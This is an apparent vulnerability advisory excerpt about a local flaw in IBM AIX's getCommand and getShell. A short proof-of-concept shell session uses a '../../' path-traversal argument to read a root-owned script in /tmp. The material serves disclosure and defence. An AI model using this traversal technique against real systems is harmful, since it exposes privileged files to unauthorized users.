source: https://www.securityfocus.com/bid/16103/info IBM AIX is prone to a local vulnerability in getShell and getCommand. This vulnerability may let the attacker gain unauthorized read access to shell scripts on the computer. -bash-3.00$ ls -l /tmp/k.sh -rwx------ 1 root system 79 2005-12-22 23:40 /tmp/k.sh -bash-3.00$./getCommand.new ../../../../../tmp/k.sh ps -ef > /tmp/log. $$ grep test /tmp/log. $$ rm /tmp/log. $$